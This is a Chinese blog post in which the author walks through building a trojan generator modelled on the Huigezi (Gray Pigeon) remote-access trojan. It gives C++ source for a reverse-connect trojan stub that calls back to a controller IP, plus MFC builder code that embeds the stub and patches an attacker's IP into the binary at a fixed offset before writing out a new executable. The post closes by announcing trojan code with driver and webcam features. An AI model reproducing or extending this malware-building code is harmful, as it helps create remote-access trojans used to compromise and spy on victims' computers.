2013-03-17 11:43 (分类:网络安全)
用了两周时间就写了个这破东西,不是木马源码,就是个木马生成器,大概类似下图,这图是灰鸽子的界面
设置好各种参数后,点击生成服务器,一个小木马就出来了。
以后可能会忘,这次记录详细些。
1 .先编写一个小木马,不加其它功能,做测试用,只有一个反向连接的功能,做成控制台程序,
#include<WINSOCK2.H>#include <TCHAR.h>
#pragma comment(lib, "ws2_32.lib")
#include <iostream>
using namespace std;
int main()
{
int port=9999;//连接端口
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET m_Socket;
m_Socket= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 构造sockaddr_in结构
SOCKADDR_IN ClientAddr;
ClientAddr.sin_family= AF_INET;
ClientAddr.sin_port = htons(port);
ClientAddr.sin_addr.S_un.S_addr=inet_addr("xxx.xxx.xxx.xxx.");//注意xx
connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr));
CHAR recvbuffer[100];
recv(m_Socket,recvbuffer,100,0);
return 0;
}这里面注意这句就行了ClientAddr.sin_addr.S_un.S_addr=inet_addr("xxx.xxx.xxx.xxx.");//注意xx为什么把ip地址设成xxx.xxx.xxx.xxx? 一会再二进制代码里方便定位2.编译 链接生成 一个 server.exe 程序。打开WinHex,把server.exe拖进去分析一下,看图
这个位置就是存放ip地址的位置,设置为xxx方便定位,记下它的地址 3844-3858
3.接着建立一个新工程mfc程序 做个小界面
直接贴代码了,在此之前最重要的是导入资源,把刚才的server.exe导入进来,点工程里的资源-添加资源-导入
找到 server.exe 资源类型随便写,我设置的是exe
生成服务端按钮响应函数
void CServerBuilderDlg::OnBnClickedButton1(){
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE);
CString str1 = _T("");//判断两个编辑框是否为空 CString str2= _T("");
GetDlgItem(IDC_EDIT_ControlIp)->GetWindowText(str1);//类型转换
GetDlgItem(IDC_EDIT_ControlPort)->GetWindowText(str2);
if(str1.IsEmpty()||str2.IsEmpty())
{
MessageBox(_T("请填写完整的ip和端口"),_T("警告"));
return;
}
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
HANDLE hFile;
LPBYTE p; //开辟内存空间
TCHAR szIp[16]={0}; //接收控件变量,也就是ip地址
// 查找所需的资源,这三个函数FindResource查找刚才的server.exe程序
hResInfo = FindResource(NULL,MAKEINTRESOURCEW(IDR_EXE1), _T("EXE"));
if (hResInfo == NULL)
MessageBox(_T("FindResource出错"),_T("提示"),0);
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源,把server.exe装载
hResData=LoadResource(NULL,hResInfo);
if(hResData==NULL)
MessageBox(_T("LoadResource出错"),_T("提示"),0);
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
MessageBox(_T("分配内存失败!"), _T("错误"), MB_OK | MB_ICONINFORMATION);
// 复制资源数据,将server.exe复制到开辟的p空间里 CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
// 获取IP和port,并复制数据,将我设置的ip拷贝到数组szip中
GetDlgItem(IDC_EDIT_ControlIp)->GetWindowTextW(szIp,16);
MessageBox(szIp,_T("提示"),0);
//将unicode码转换为多字节码,这一点是最重要的,耗了我好几天,又是宽字节窄字节的
//问题,在server.exe中ip是窄字节,但是szip这个数组是宽字节,必须转换一下 //将szip数组中宽字节ip地址,拷贝到pstext中变成窄字节
//转换函数是widechartomultibyte,msdn自己看看就好
DWORD dwNum = WideCharToMultiByte(CP_OEMCP,NULL,szIp,-1,NULL,0,NULL,FALSE);
char *psText;
psText = new char[dwNum];
if(!psText)
{
delete []psText;
}
WideCharToMultiByte (CP_OEMCP,NULL,szIp,-1,psText,dwNum,NULL,FALSE);
//这里是最重要的,要把pstext中的ip地址拷贝到server.exe中,代替其中的xxx.xxx.
//这个ip地址,0xf04是十六进制,其实就是十进制的3844 ,p是刚才开辟的空间首地址
//p+0xf04就是server.exe中ip首地址,dwnum是拷贝长度 CopyMemory((LPVOID)(p + 0xf04),(LPCVOID)psText,dwNum);
// 创建文件
/*
//另一种创建文件的方法
CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
if(dlg.DoModal () != IDOK)
return;*/
//自动在d盘创建好一个小马servercode.exe和server.exe内容一样,只是xxx.xxx.xxx.xx //x变成了我们拷贝的地址
hFile=CreateFile(_T("D:\ServerCode.exe"),GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0, NULL);
if(hFile==NULL)
{
MessageBox(_T("CreateFile出错"),_T("提示"),0);
GlobalFree((HGLOBAL)p);
}
//向文件内写入信息,把p空间内的数据写入
WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);
// 收尾工作,释放资源
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
return ;
/*CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
if(dlg.DoModal () != IDOK)
return;*/
}
在d盘生成servercode.exe
打开servercode.exe ip地址已经改动
这个生成器用的是数据替换法,在定位时会遇到一些困难,编写时非常费时,
比较好的办法是在程序的尾部追加数据,然后程序运行时从尾部读取数据,灰鸽子的源码基本就是这样,先把一个文件复制出来然后把数据写到文件尾部。我这样的菜鸟暂时就不搞了。
接下来就是木马源码了,做驱动,开摄像头。。。
继续向前走。。。